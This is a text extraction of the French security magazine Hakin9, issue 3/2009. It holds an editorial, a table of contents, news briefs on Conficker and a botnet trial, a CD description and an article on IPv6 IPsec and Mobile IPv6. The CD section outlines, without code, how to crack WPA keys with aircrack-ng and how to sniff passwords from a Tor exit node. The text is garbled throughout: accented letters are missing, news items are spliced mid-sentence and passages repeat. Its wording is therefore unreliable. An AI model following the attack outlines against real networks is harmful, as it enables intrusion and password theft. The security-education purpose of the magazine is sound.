Hakin9 03 2009 FR
Hakin9 03 2009 FR
Hakin9 03 2009 FR
CHERS LECTEURS,
Vous tenez entre les mains le numro 3/2009 de Hakin9. Vous y trouverez comme toujours diffrents sujets lis la scurit informatique. Comme vous le savez, la liste de technique de hacking est trs longue ; l`imagination des pirates ne cesse de nous surprendre. Mais rassurons-nous, chaque problme sa solution. Chaque attaque peut tre pare. Tout le monde le sais que trouver le moyen de stopper les pirates, qui sont omniprsents dans le monde entier, donne pas mal de satisfaction. Dans ce numro nous vous donnons quelques ides trs intressantes concernant les bases de donnes, la securisation des systmes et le danger de rseaux informatiques. D`abord, nous vous invitons lire la deuxme partie de l`article de Frdric Roudaut sur le protocole Ipv6. Cet article est destin vous faire apprhender les techniques fondamentales d`IPv6, le nouveau mode d`adressage et la configuration automatique. Ensuite, vous trouverez la rubrique Technique et le fameux Keylogger 2.0 crit par Antonio Fanell, qui vous prsentera comment utiliser ce keylogger 2.0 pour exploiter une faille XSS d`un site web. Dans la mme rubrique vous trouverez La scurit des systmes virtualiss de Julien Reveret de la socit iTrust. Vous verrez tout au long de cet article que les technologies de virtualisations peuvent servir aux codes malicieux et qu`elles prsentent des failles qui peuvent rendre une infrastructure plus fragile. En ce qui concerne les failles, l`article de Frdric Charpentier de la socit Xmco Partners vous en parlera aussi. Il vous montrera la face cache du ver Conficker qui est due un bug de type stack buffer overlow. Nous n`avons pas oubli de nos chers dbutants, qui ont srement envie de lire un article beaucoup plus facile et moins technique que les autres. Cette fois-ci nous avons choisi l`article de Didier Sicchia qui parle de SPAM, SCAM et les attaques phishing. L`auteur vous expliquera les mthodes utilises par les pirates afin de constituer des listes importantes d'adresses lectroniques. En outre, nous vous proposons d`autres articles concernant les attaques et la scurit. Maintenant, quand vous avez dj en main des solutions concrtes et efficaces, vous pouvez enfin se mettre au travail pour les appliquer. Je voudrais remercier tous nos bta-testeurs qui nous aident beaucoup avec leurs critiques pertinentes. Ce sont leurs remarques qui nous permettent de prsenter ce numro en toute srnit. Si toutefois vous avez des suggestions faire, n`hsitez pas nous contacter. Soyez srs qu`elles feront l`objet de toute notre attention.
3/2009 HAKIN9
SOMMAIRE
DOSSIER
10 Mcanismes IPv6 avancs
FRDRIC ROUDAUT Cet article est la suite de celui publi dans le numro prcdent destin vous faire apprhender les techniques fondamentales dIPv6, le nouveau mode dadressage, les mcanismes de communication sous-jacents, la configuration automatique bref lensemble des protocoles basiques qui composent larchitecture dIPv6. Cet article sera aussi l'occasion de vous initier la mise en uvre de ce nouveau protocole.
FOCUS
30 Conficker, le ver qui rveille la scurit informatique
FRDRIC CHARPENTIER, XMCO PARTNERS Conficker exploite une faille de scurit des systmes Windows publie et corrige en octobre 2008 par Microsoft. Cette faille, rfrence sous le code MS08067 ou CVE-2008-4250, est due un bug de type stack buffer overflow. Il s'agit donc d'un dbordement de tampon relativement classique. De surcroit, ce bug est situ dans une partie du code trs proche d'un prcdent bug critique, le bug MS06-040.
PRATIQUE
26 Les Failles CSRF, Quels sont les risques ?
PAUL AMAR Les failles Cross-Site Request Forgeries ou communment appeles CSRF ou encore XSRF restent un vecteur d'attaque trs mconnu par rapport d'autres vulnrabilits Web tels que les Injection SQL etc. Cependant de nombreux auteurs comme Norm Hardy (1988) ou encore Peter Watkins (2001) ont trait du sujet il y a quelques annes.
36
Benchmarking attacks
FABIEN KERBOUCI Il existe plusieurs mthodes pour obtenir des informations prives dune application sans mettre en dfaut son mode dexcution et en laissant lapplication et son environnement parfaitement intgres. Cest lenjeu des attaques par indicateurs ou benchmarking attacks.
BACKUP
42 Comprendre les algorithmes de compression de donnes
DIDIER SICCHIA Certes, le volume grandissant des disques durs apporte un certain confort dans
TECHNIQUE
48 La scurit des systmes virtualiss
JULIEN REVERET, ITRUST La virtualisation est la mode depuis quelques temps, il n'est pas rare dans un environnement de test de se trouver sur une machine virtuelle plutot que physique. Nous verrons tout au long de l'article que les technologies de virtualisations peuvent servir aux codes malicieux et qu'elles prsentent des failles qui peuvent rendre une infrastructure plus fragile.
HAKIN9 3/2009
SOMMAIRE
54 Scuriser la navigation Internet des utilisateurs
TONY FACHAUX Le web regorge de menaces de plus en plus varies. Le virus n'est plus la seule menace craindre. Une multitude de menaces, dont l'utilisateur lambda ne connat mme pas l'existence, font leur apparition. Spyware, botnet ou encore ransomware deviennent monnaie courante. Quelles menaces faut-il craindre aujourd'hui, et comment s'en protger ?
VARIA
06 En bref
Vous trouverez ici les nouvelles du monde de la scurit des systmes informatiques. Prpare par Christophe Ledorze Instructeur Linux Novell
58
Keylogger 2.0
ANTONIO FANELL Aujourdhui, on utilise de plus en plus de scripts asynchrones pour amliorer l'exprience utilisateur sur Internet. Cependant, des malwares nouvelle gnration voient le jour pour les exploiter. Dans cet article, vous apprendrez concevoir un keylogger Web 2.0 puis vous l'utiliserez pour exploiter une faille XSS d'un site web.
08
Sur le CD-ROM
Nous vous prsentons deux cours vido. Le premier 'Cracking WPA' explique comment mettre mal un rseau sans fil scuris grce au fameux protocole de cryptage WPA. Le deuxime, Tor Hacking assure que le rseau danonymat Tor nest pas aussi hermtique que lon peut penser.
78
Feuilleton
80
Interview
Nous vous invitons la lecture d`entretien avec AnneGalle Lunot, une jeune entrepreneuse passionne, qui a cr Zlites, une socit de prestations informatiques aux Mans (Sarthe, FR)
64
82
UKASZ MACIEJEWSKI Actuellement, quasiment toutes les informations sont vendre et constituent une marchandise trs prcieuse. Voulez-vous permettre les autres de vous les voler impunment ? L'attaque est la meilleure dfense une attaque lectromagntique.
Quelques mots sur les articles qui paratront dans le numro 4/2009 (38)
3/2009 HAKIN9
EN BREF
WARDRIVING A MUMBAI
La police Indienne s'est vu remettre des radars d'un nouveau genre dans ce corps de mtier, des sniffers wifi . En effet le Times of India rvle que suite aux attentats de Delhi et d'Ahmedabad, les agents de police de Mumbai et bientt ceux de Bombay ont pour ordre de contrler et de verbaliser les propritaires de reseaux Wifi accessibles et non verrouills (plus de 88%) au nom de l'article 149 du code pnal Indien, les dtenteurs de rseaux WEP seront quant eux fortement conseills de passer a des protocoles plus srs. Il semblerait, selon le quotidien, que des tracts de propagandes terroristes furent envoys par ce biais peu de temps avant les attaques la bombe . On pourrait penser que les terroristes potentiels trouverait refuge dans les cyber caf pour y lancer leur propagande, mais ceci est dj sous contrle depuis 2007, lors d'une vague d'installation de keyloggers. site Web de vrifier si un utilisateur est logu d'autres sites. Ainsi un esprit malsain peu assez aisment forger une page qui peut tre en mesure de dtecter, selon une liste prdfinie les connexions en cours d'un utilisateur vers les sites des banques connues. Il est alors possible de raliser une attaque classique de Phishing en proposant un pop-up aux couleurs des banques vises, poussant l'utilisateur se reloguer. Il ne reste plus notre attaquant que collecter ces accs et se connecter la place des ayants droits sur les sites banques afin d'accder l'ensemble des comptes de la victime. Donc dans tous les cas, il vaut mieux ne pas naviguer sur plusieurs sites en mme temps que votre session avec votre banque ou d'autres services de l'administration , et de privilgier le blocage des pop-up. a affirm Dave Perril vice prsident de Wand Worp. L'enqute a conclut qu'Everett a exploit une faille de scurit qu'il avait dcouvert durant son travail au sein de Wand. Je pense que le message retenir de ce triste exemple est l'importance du changement des mots de passe et la suppression de ses accs quand un membre de votre quipe vient de la quitter. ajouta Graham Cluley, consultant au sein de l'quipe d'antivirus Sophos. Finalement mme si quelques serveurs tombrent les dommages ne s'lvent pas au del de 50000$, mais cela aurait put atteindre les 4,25M$ si la charge avait continu son oeuvre.
EN BREF
informatique accus d'avoir pilot un gigantesque botnet est sur le point d'tre rendu. En effet John Kenneyh Schiefer, 28 ans, aurait t le chef d'orchestre d'une arme de 250000 zombies, tous infects par ses soins, dont le seul but tait de l'aider et aux deux autres amis aussi dans la capture de mots de passe, de donnes bancaires, l'infection d'autres machines ainsi que la transmission de ses accs d'autres crackers. Vu la manire avec laquelle ses crimes furent oprs, sa demande, pour pouvoir continuer d'exercer son mtier, elle a t rejet par le procureur. Celui i s'appuyant de plus sur un document de 31 pages numrant les mfaits informatiques et humains de AcidStorm ou Acid. La dfense quant elle ne put appuyer son argumentation que sur le fait que ses malwares ne causrent pas tant de dgts, et que l'accus avait t la cible d'abus sexuel. Si cet homme a t autoris tre un professionnel de la scurit, il dtruit la rputation des autres professionnels de la scurit a dclar Mark Rasch, un ancien procureur fdral li au secteur IT aujourd'hui spcialiste en crimes informatiques Bethesda dans le Maryland. La sentence sera rendue le 25 fvrier prochain, JK Schiefer risque 60 mois de prison, 1,7 millions de dollars d'amende et 5 ans de libert conditionnelle. Pour pouvoir s'installer, le ver commence par rechercher le fichier services.exe pour le signer. Il se rplique alors dans les rpertoire de Windows en prenant ayant mut en une DLL. Il finira par changer les dates lies son inode et a les calquer sur celles de kernel32.dll pour drouter un test de scurit de plus. Question propagation rseau, Microsoft indique : Conficker se charge en mmoire et se propage vers des adresses IP alatoires travers le rseau en exploitant une faille du service Windows Server . Si la faille est exploite, le ver commande l'ordinateur cible de copier le code du ver depuis l'ordinateur hte via HTTP et en utilisant un port alatoire ouvert par le ver . Outre le fait que le ver rinitialise les points de restauration du systme empchant tout retour arrire infection, il faut noter que ce ver dtermine la position gographique de la machine sur lequel il vient d'arriver et ainsi ne semble pas s'attaquer aux machines Ukrainiennes. rcupration d'information l'lvation des privilges en passant par l'exploitation d'une faille dont les plus courantes (XSS, SQL injection) furent expliques avec exemples l'appui. L'une des meilleures confrences sur la Scurit fut prsente par Victor Stinner qui introduisait son fuzzer Fusil, plateforme permttant de crer rapidement des fuzzers pour des applications. Pour mieux comprendre Fusil, il est revenu sur la notion de fuzzing pour valuer la capacit de raction d'un programme sur des valeurs non conformes, selon trois mthodes: l'alatoire pur; l'injection de faute dans des donnes valides; et la cration de tronon alatoire conforme aux spcifications. L'une des plus importantes confrences Systme fut celle prsente par H. Peter Anvin sur son one-night hacking SysLinux et le Dynamic Bootloading. SysLinux est un ensemble de bootloaders de diffrents types (PXELinux, SysLinux, IsoLinux,etc.), et est aisment modulable par des APIs fournis. La caractristique principale des SysLinux est qu'il dcouvre le systme au boot et non l'installation d'un OS, comme le fait Grub ou Lilo. Il est donc trs pratique pour les LiveCD ou CD d'installation Linux, car il permet de booter sur un noyau stable avant d'installer un OS. gPxeLinux est n des projets Etherboot et SysLinux pour crer un bootloader rseau complet supportant de nombreux protocoles rseaux permettant de rcuprer dynamiquement sur son poste un kernel distant. Autre grosse confrence Systme concernait le nouveau filesystem, Ext4, dploy en standard partir des noyaux Linux 2.6.28. Anime par Theodore Ts'o, cette confrence a dcrit comment Ext4 pallie aux limites d'Ext3, comme la taille limite 16To, les 32000 sousrpertoires possibles. Ext4 pallie tout cela en permettant la gestion d'un FS jusqu' 1 Eo (et une taille maximale de 16To par fichier) en ajoutant un bloc d'indirection de 48 bits. Ext4 ajoute galement des fonctionnalits fort apprciables, comme la pr-allocation d'inodes ou la dfragmentation chaud, qui fait d'Ext4 une bonne volution d'Ext3, en attendant BTRFS.
3/2009 HAKIN9 7
SUR LE CD
CD-ROM HAKIN9.LIVE
VIDO CRACK DE CL WPA
Grce cette courte vido, nous allons aborder un sujet trs en vogue du moment : Les faiblesses du Wireless. Aprs avoir vu et revu de nombreuse fois que le cryptage WEP (Wired Equivalent Privacy) tait obsolte, il fut fortement conseill de passer au WPA (Wifi Ptrotected Access). Dans cette vido, nous allons donc voir comment mettre mal un rseau sans fil scuris grce au fameux protocole de cryptage WPA. Afin de procder, nous allons utiliser la clbre suite doutils Aircrack afin de nous aider dans cette tche. La suite aircrack comprend les outils suivants : aircrack-ng : casseur de cls WEP et WPA-PSK, aireplay-ng : programme d'injection de paquets 802.11, airodump-n : programme de capture de paquets 802.11.
Afin de pouvoir utiliser lensemble de cette suite sans aucun problme, nous allons utiliser le live CD spcialis en scurit : BackTrack. Backtrack dispose actuellement de 300 outils permettant davoir le maximum de chance darriver notre fin en ce qui concerne la mise mal des rseaux sans fil. Au cours de cette vido, nous allons donc approcher le crackage de cl WPA de cette manire :
paramtrage de la carte wifi, listing des rseaux quil est possible dattaquer, isolation du rseau de la victime, attaque par dsauthentification, dcouverte de la cl WPA grce une attaque par bruteforce.
Lensemble de ces tapes doivent imprativement tre ralis dans cet ordre dexcution.
Grce cette vido, nous allons pouvoir aborder un point de plus en plus important sur internet : Lanonymat. De nos jours, les motivations qui justifient le dsir de conserver l'anonymat sur Internet sont de plus en plus nombreuses mais galement de plus en plus varies. (Activits moralement discutables, pdophilie, fraude, piratage, tlchargement illgaux, pornographie, etc). Le rseau danonymat Tor (The Onion Router) est actuellement considr comme lun des moyens danonymat sur internet le plus sur. Au cours de cette vido nous allons vous simplement montrer que le rseau danonymat Tor nest pas aussi hermtique que lon peut le penser grce linstallation dun nud de sortie Tor ainsi que lanalyse du rseau grce des outils ddis cette tche. Au cours de cette vido, nous allons donc approcher le Hack de Tor de cette manire :
8 HAKIN9 3/2009
installation et configuration de Tor et de tout ses composants, configuration dun relais Tor permettant de relayer le trafic rseau, installation et mise en marche des analyseurs rseau (sniffer), rcupration de la liste des mots de passe durant la priode de lattaque.
Lensemble de ces tapes doivent imprativement tre ralis dans cet ordre dexcution.
Sil vous est impossible de lire le CD. et que ce dernier nest pas endommag physiquement, essayez de lire dans au moins 2 lecteurs diffrents.
En cas de problme avec votre CD, envoyez-nous un message ladresse suivante : cd@hakin9.org
3/2009 HAKIN9
DOSSIER
FRDRIC ROUDAUT
Depuis les annes 80, lInternet connat un succs incroyable. La majeure partie des entreprises y est maintenant directement connecte, le nombre de particuliers dtenteur dun abonnement Internet auprs dun FAI (Fournisseur dAccs Internet) est en constante croissance.
u moment de la dfinition d'IPv6, de nouveaux besoins tels que la scurit, la mobilit sont apparus et ont pu tre pris en compte lors de la phase de standardisation. Ce chapitre prsente quelques-uns de ces mcanismes qui reprsentent une grande avance de la couche rseau.
Les services de scurisation offerts par ces 2 protocoles sont distincts : AH permet de s'assurer que l'metteur du message est bien celui qu'il prtend tre. Il sert aussi au contrle d'intgrit pour garantir au rcepteur que personne n'a modifi le contenu d'un message lors de son acheminement et peut optionnellement tre utilis pour la dtection des rejeux. ESP offre les mmes services quAH et permet en plus de chiffrer l'ensemble des paquets ou uniquement la charge utile. ESP garantit galement de faon limite l'intgrit du flux.
IPsec
IPsec est le protocole spcifiquement conu pour scuriser IPv6. Il permet de raliser des rseaux privs Virtuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services :
dauthentification des donnes, de chiffrement de donnes, dintgrit des donnes pour garantir que les paquets nont pas t modifis durant leur acheminement, danti-rejeu afin de dtecter les ventuels paquets rejous par un attaquant.
Associations de scurit
Afin de scuriser les changes, les entits en prsence doivent bien videmment partager un ensemble commun dinformations telles que le protocole IPsec usit (AH ou ESP), les cls, les algorithmes Ces diffrentes informations constituent des associations de scurit ou SA (Security Association). Chaque association de scurit est identifie de manire unique par un triplet comprenant un indexe de paramtres de scurit SPI (Security Parameters Index), l'adresse du destinataire IP et le protocole de scurit AH ou ESP. Une association de scurit est unidirectionnelle. Une communication bidirectionnelle entre 2 entits ncessite donc l'utilisation de 2 associations de scurit.
Toute implmentation IPv6 se doit de lintgrer dans sa pile. Ce protocole est galement utilisable avec IPv4 mais lutilisation du NAT/PAT (Network Address Translation/Protocole Address Translation) en limite la mise en uvre.
Mcanismes IPsec
IPsec dfinit 2 protocoles de scurisation : AH (Authentication Header), ESP (Encryption Security Payload).
IPV6
Mode Transport et Tunnel
Les normes IPsec dfinissent deux modes distincts d'opration IPsec : le mode Transport et le mode Tunnel. Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP. En mode Tunnel, le paquet IP interne dtermine la stratgie IPsec qui protge son contenu tandis quen mode Transport, l'entte extrieur dtermine la stratgie IPsec qui protge le paquet IP interne. Contrairement au mode Transport, le mode Tunnel ne permet pas l'en-tte IP extrieur de dicter la stratgie de son datagramme IP interne. Enfin dans les 2 modes, lentte extrieur est partiellement protg mais le mode Tunnel lavantage de protger intgralement son entte extrieur pouvant ainsi s'avrer fortement utile pour la cration de VPN. reprsentent lensemble commun minimum des implmentations dAH. Lors de la rception dun paquet AH, la pile IPsec dtecte lassociation de scurit concerne, en dduit les algorithmes et les cls associes, calcule la valeur du champ ICV et la compare avec la valeur fournie. Dans le cas o ces 2 valeurs concident lintgrit ainsi que lauthentification des champs concerns est assure. Ces champs diffrent selon le mode usit transport ou tunnel. Le rejeu des paquets est quant lui dtect par le champ Sequence Number incrment chaque paquet et galement protg par le champ ICV. Lauthentification et lintgrit portent donc sur : les octets situs au dessus de lextension dentte AH, certains champs de lentte IPv6 invariants lors de lacheminement du paquet, certains champs invariants des extensions dentte positionnes avant AH.
Mode Transport
En mode Transport lextension AH est insre aprs lentte IPv6 et avant les enttes de niveau transport (TCP, UDP). De plus, AH tant vue comme une extension dentte traite de bout en bout de la communication, celle-ci apparait aprs les extensions dentte Hop-By-Hop Option Header, Routing Header et Fragment Header. Lextension dentte Destination Options Header est quant- elle place indiffremment avant ou aprs.
AH (Authentication Header)
La mise en uvre dAH repose sur une extension dentte spcifique. Celle-ci est dfinie dans la Figure 1. Le rle des diffrents champs de lextension dentte AH est prcis dans le Tableau 1.
Protection AH et Algorithmes
AH suppose gnralement une implmentation des algorithmes suivants : HMAC-MD5-96 (Peut tre implment) : Cet algorithme produit une empreinte sur 128 bits tronque 96 bits pour le champ ICV de AH, HMAC-SHA1-96 (Doit tre implment) : Cet algorithme produit une empreinte sur 160 bits tronque 96 bits pour le champ ICV de AH, AES-XCBC-MAC-96 (Devrait tre implment) : Ce protocole utilise le chiffrement par bloc AES dans un mode d'opration de type compteur coupl code d'authentification MAC (CBC-MAC). Le compteur sert assurer un chiffrement sr en vitant d'avoir un vecteur d'initialisation identique pour chaque message alors que le code d'authentification permet de vrifier que le message n'a pas t altr. Cet algorithme produit galement une empreinte sur 96 bits pour le champ ICV de AH.
Les extensions dentte positionnes aprs AH ne sont pas modifies durant lacheminement des paquets; ce titre celles-ci sont protges par le champ ICV. Cette protection diffre pour les extensions denttes positionns avant AH, certains champs pouvant tre altrs par les routeurs prsents le long du chemin. Les sous-options prsentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent dun bit positionn 1 si loption peut tre modifie le long du trajet. Dans le cas o ce bit nest pas positionn la sous-option est protge, dans le cas contraire les octets de la sous-option sont positionns 0 lors du calcul de lICV. Cette protection ne sapplique pas non plus sur lextension Fragment Headers
Dautres algorithmes sont bien entendu utilisables, mais ceux prciss ci-dessus
3/2009 HAKIN9
1 1
DOSSIER
32 Bits Next Header Hdr Ext Len SPI Sequence Number ICV Padding RESERVED
Ces 2 parties sont dfinies dans la Figure 4. Le rle des diffrents champs de lextension dentte ESP est prcis dans le Tableau 3.
Figure 1. Extension dentte AH qui apparat uniquement aprs la phase dauthentification. La Figure 2 montre ainsi le positionnement de lextension dentte AH en mode transport ainsi que la porte de lauthentification/intgrit.
Mode Tunnel
En mode Tunnel lextension AH est insre avant lentte IPv6. Un nouvel entte IPv6 est alors insr en tte. La Figure 3 et le Tableau 2 prsentent le mode de construction de ce ne nouvel entte ainsi que le positionnement des champs de lentte Intrieur.
sur 128 bits tronque 96 bits pour le champ ICV de AH, HMAC-SHA1-96 (Doit tre implment) : Cet algorithme produit une empreinte sur 160 bits tronque 96 bits pour le champ ICV de AH, AES-XCBC-MAC-96 (Devrait tre implment) : Ce protocole utilise le chiffrement par bloc AES dans un mode d'opration de type compteur coupl code d'authentification MAC (CBC-MAC). Le compteur sert assurer un chiffrement sr en vitant d'avoir un vecteur d'initialisation identique pour chaque message alors que le code d'authentification permet de vrifier que le message n'a pas t altr. Cet algorithme produit galement une empreinte sur 96 bits pour le champ ICV de AH.
Les algorithmes de chiffrements dfinis sont alors les suivants : NULL Encryption (Doit tre implment), AES-CBC (Doit tre implment) : AES supporte 3 tailles de cl : 128, 192 et 256 bits. La taille de cl par dfaut est de 128 bits. AES-CBC ncessite un IV de 16 octets, 3DES-CBC (Doit tre implment) : Cet algorithme utilise une cl effective de 192 bits. Il est ralis par application de 3 DES-CBC, chacun utilisant une cl de 64 bits (dont 8 bits de parit). 3DES-CBC ncessite un IV de 8 octets, AES-CTR (Devrait tre implment) : AES en mode compteur supporte 3 tailles de cl : 128, 192 et 256 bits. La taille de cl par dfaut est de 128 bits. AES-CTR ncessite un IV de 16 octets, DES-CBC (Ne devrait pas tre implment).
La mise en uvre dESP repose sur une extension dentte spcifique. Celle-ci se dcompose en 2
Paquet originel : IPv6 Option Header
Payload
Paquet authentifi : IPv6 Option Header 1 Authentification Partielle AH Option Header 2 Payload
Authentifie :
Authentifi
Paquet protg : Nouvel entte IPv6 Authentifie : AH IPv6 orginel Option Header Payload
Authentifi
Dautres algorithmes sont bien entendu utilisables, mais ceux prciss ci-dessus reprsentent lensemble commun minimum des implmentations dESP. Il est noter quune association de scurit ESP ne doit aucun moment utiliser conjointement un algorithme dauthentification et de chiffrement nul. En mode tunnel, ESP depuis sa dernire version, propose un mode de confidentialit de flux par lutilisation du champ TFC. Ce champ permet dadjoindre des octets de bourrage de taille alatoire. La taille ce
IPV6
3/2009 HAKIN9
13
DOSSIER
32 Bits SPI Tte ESP Sequence Number IV Payload TFC Padding Pad Lenght ICV Padding Next Header Queue ESP
Figure 6 et le tableau 4 prsentent le mode de construction de ce ne nouvel entte ainsi que le positionnement des champs de lentte Intrieur.Dans le cas dune utilisation en mode tunnel la totalit du paquet initial est donc chiffre.
Figure 4. Extension dentte ESP champ ntant prcise par aucun autre champ, celle-ci peut tre dduite du champ Payload Length de lentte IP intrieure au tunnel. Ce champ TFC pourrait galement tre utilis en mode transport la condition bien entendu que le protocole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP, UDP, ICMP). Lors de la rception dun paquet ESP, la pile IPsec dtecte lassociation de scurit concerne et en dduit les algorithmes et les cls associes. Si la protection en authentification est active, le rcepteur calcule lICV sur le paquet ESP sans ce champ ICV. Si le champ calcul concide avec le champ transmis, lintgrit est assure sur les champs concerns. Ces champs diffrent selon le mode usit, transport ou tunnel. Vient ensuite le dchiffrement du paquet avec lalgorithme et la cl fournie par lassociation de scurit. Le rejeu des paquets est quant lui dtect la manire dAH par le champ Sequence Number incrment chaque paquet et galement protg par le champ ICV. Le chiffrement porte donc sur les octets situs au dessus de lextension dentte ESP lexception des champs SPI, Sequence Number, ICV. Lauthentification ventuelle ralise par le champ ICV porte sur lensemble des octets situs au dessus de lextension dentte ESP. La Figure 5 montre ainsi le positionnement de lextension dentte ESP en mode transport ainsi que la porte de lauthentification/intgrit et du chiffrement.
Mode Tunnel
En mode Tunnel lextension ESP est insre avant lentte IPv6. Un nouvel entte IPv6 est alors insr en tte. La
Paquet originel : IPv6 Paquet protg : IPv6 Option Headers Tte ESP Option Headers
Ces 2 modes oprationnels sont rsums dans la Figure 7. On prcise que dans cette figure la protection est symtrique, ce qui nest pas forcment le cas, les associations de scurit tant unidirectionnelles.
Payload
Payload
Queue ESP
Mode Transport
En mode Transport lextension ESP est insre de la mme manire que lextension AH, aprs lentte IPv6 et avant les enttes de niveau transport (TCP, UDP). ESP tant galement vue comme une extension dentte traite de bout en bout de la communication, celle-ci apparat aprs les extensions dentte Hop-By-Hop Option Header, Routing Header et Fragment Header. Lextension dentte Destination Options Header est quant elle place indiffremment avant ou aprs.
14 HAKIN9 3/2009
IPV6
lors dun changement de domaine. Les adresses IP originelles continuent dtre utilises lors des communications. De mme les sessions TCP peuvent ainsi rester fonctionnelles lors dun dplacement entre domaines. IPv6 intgre ce concept dans le protocole MIPv6 (Mobile IPv6).
Protection ESP, mode tunnel Section non protge Protection ESP, mode transport
Concepts
Avant de poursuivre il sagit de dfinir les mots cls principaux usits par MIPv6. Rseau Mre : Rseau auquel la machine appartient initialement, Nud correspondant : machine dialoguant avec le mobile, Home Address : Adresse IPv6 dans le rseau mre, Care-of Address : Adresse IPv6 dans le rseau visit, Agent Mre : Machine du rseau mre servant dinterface entre le mobile et le nud correspondant.
Ces cls peuvent tre des cls partages Public Key Infrastructure). A lheure actuelle 2 versions cohabitent, IKEv1 trs complexe et IKEv2 qui en est une version simplifie pour sa mise en uvre ainsi que par son mcanisme.
En termes de mobilit on distingue 2 mcanismes principaux : la micro-mobilit et la macro-mobilit. La micro-mobilit est celle utilise entre autre par le wifi. Les entits en cours de dplacement se rassocient des stations de base et conservent leur possibilit de connectivit au sein dun domaine. Cette gestion des handovers est relativement fine et limite la signalisation au sein du rseau. Ces mcanismes sont cependant peu efficaces au sein de plusieurs domaines. En effet les adresses IP sont dans ce dernier cas rengocies pour mapper au domaine et pouvoir ainsi tre routable. La macro-mobilit rsout ce problme en conservant une connectivit IP mme
MIPv6 utilise intensivement la notion de tunnels. Schmatiquement, les paquets transmis par le mobile dans un rseau tranger passent par lAgent Mre prsent dans le rseau mre, avant dtre retransmis au Nud correspondant. Le chemin de retour est identique. Le routage sous-jacent apporte le paquet jusqu lAgent Mre qui le retransmet au mobile dans son rseau visit. Lagent mre doit galement tout moment tre capable de localiser ses mobiles en dplacement. Il utilise pour cela un cache baptis Binding Cache associant Home Address et Care-of Address de ses diffrents mobiles. Un mcanisme de signalisation protg par IPsec en mode ESP
Mobile
Rseau Visit
(Prfixe : Care-Of)
DOSSIER
est par consquent usit pour mettre jour ce cache. Il ne sera pas fait tat des paquets MIPv6 ici, il sagit simplement de savoir que cette mise jour seffectue laide de paquets particuliers nomms Binding Update. Ceux-ci sont gnralement acquitts par lAgent Mre par des Binding Acknowledgment. Lensemble des mcanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modle TCP/IP. Ils ont t models pour permettre une communication avec des entits nayant pas conscience des protocoles de mobilit. Ils n'ont aucun impact sur les couches de niveau transport et applicative. Pour le correspondant cette communication est totalement transparente. destination est celle du correspondant. Le paquet parvient lAgent Mre, qui vrifie son authentification, le dchiffre, le dsencapsule et le retransmet sur le rseau. Le correspondant pourra y rpondre de manire symtrique. Cette rponse sera capture par lAgent Mre, chiffre et authentifie avant dtre retransmise au mobile dans le tunnel ESP. En cas dun dplacement en cours de communication le binding cache aura t mis jour permettant lAgent mre de retrouver son mobile. La Figure 8 positionne ces diffrentes entits dans un contexte MIPv6.
Optimisations de routes
Les changes entre mobiles et correspondants ntant pas toujours les plus optimums en matire de routage, MIPv6 intgre un mode doptimisation pour les correspondants intgrant des
Table 1. Rle des diffrents champs de lextension dentte AH Champs Next Header Taille 8 bits Rle Dcrit lentte de la couche immdiatement suprieure ou la prochaine extension dentte. Similaire au champ Protocol en IPv4. Spcifie la longueur -2 en mots de 32 bits de lextension dentte AH. Positionn 0. Security Parameters Index utilis par le rcepteur pour trouver lassociation de scurit utiliser. Compteur incrment chaque paquet. Permet en particulier de dtecter le rejeu. Integrity Check Value. Destin la validation de lintgrit du paquet. Doit tre un multiple de 32 bits. Utilis pour des besoins dalignement dentte. Sa taille est telle que lextension dentte AH est un multiple de 64 bits (32 bits pour IPv4).
Table 2. Construction de lentte IPv6 extrieure pour AH en mode tunnel Champs de lentte IPv6 Version DS ECN Flow Label Payload Length Next Header Hop Limit Source Address Destination Address Extensions Headers Entte Extrieur Positionn la valeur 6. Copi depuis lentte intrieur. Copi depuis lentte intrieur. Copi depuis lentte intrieur ou configur. Construit. Positionn la valeur de AH (51) Construit. Construit. Construit. Jamais copi mais peut apparatre en postambule. Entte Intrieur Aucune modification. Aucune modification. Positionn 0. Aucune modification. Aucune modification. Aucune modification. Dcrment dune unit Aucune modification. Aucune modification. Aucune modification.
16
IPV6
3/2009 HAKIN9
17
DOSSIER
Mobile Agent Mre Correspondant HoTI GoTI Protection HoT GoT Binding Update Binding Update Donnes Sans protection
la Care-Of Address du mobile. Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera loption Routing Header de type 2 remplie avec la Home Address. Le paquet parviendra donc au mobile qui changera pralablement ladresse de destination avec la Home Address. Le paquet remontera donc galement dans les couches de manire totalement transparente.
Figure 9. Return Routability Procdure fonctions spcifiques. Il sagit de supprimer simplement la passerelle occasionne par lAgent Mre. Pour cela MIPv6 dfinit 2 nouvelles options : Routing Header de type 2 : qui est simplement une extension dentte Routing Header contenant la Home Address du mobile Home Address Option : qui est une sous-option de lextension dentte Destination Option Header trait uniquement par le rcepteur du paquet. Le paquet subira le routage classique entre le mobile et le correspondant, remontera dans la pile MIPv6 de ce correspondant qui changera Care-of Address du champ adresse source et Home Address prsentes dans loption Home Address Option. Pour la pile IPv6, le paquet sera transparent comme provenant directement du mobile depuis son rseau Mre. Dans le cas o ce paquet est protg par IPsec, les vrifications seront donc bases sur ladresse mre. Avant de rpondre, le correspondant cherchera dans sa table dassociation
Ce mcanisme donne donc des trajectoires optimums en matire de routage et permet de limiter les contraintes en matire dingress et doutgress filtering. Ce mcanisme de mise jour d'association pose cependant d'importants problmes en matire de scurit. En effet, il est ais de protg les changes de signalisation entre le mobile et l'agent mre du fait de la relation administrative qui
Lorsqu'un correspondant supporte l'optimisation de routage, il maintient tout comme l'Agent Mre une table des associations pour tous les mobiles avec lesquels il est en communication. Une vrification axe autour dICMPv6 est pralable avant toute optimisation. Le principe est alors assez proche de celui usit avec lAgent Mre : Le mobile en dplacement transmet un Binding Update au correspondant pour lui faire tat de sa nouvelle localisation aprs en avoir fait de mme son Agent Mre. Ce correspondant mettra alors jour son Binding Cache. Lorsque le mobile veut transmettre un message au correspondant, il utilise en adresse source sa Care-of Address mais ajoute loption Home Address Option.
HAKIN9 3/2009
18
IPV6
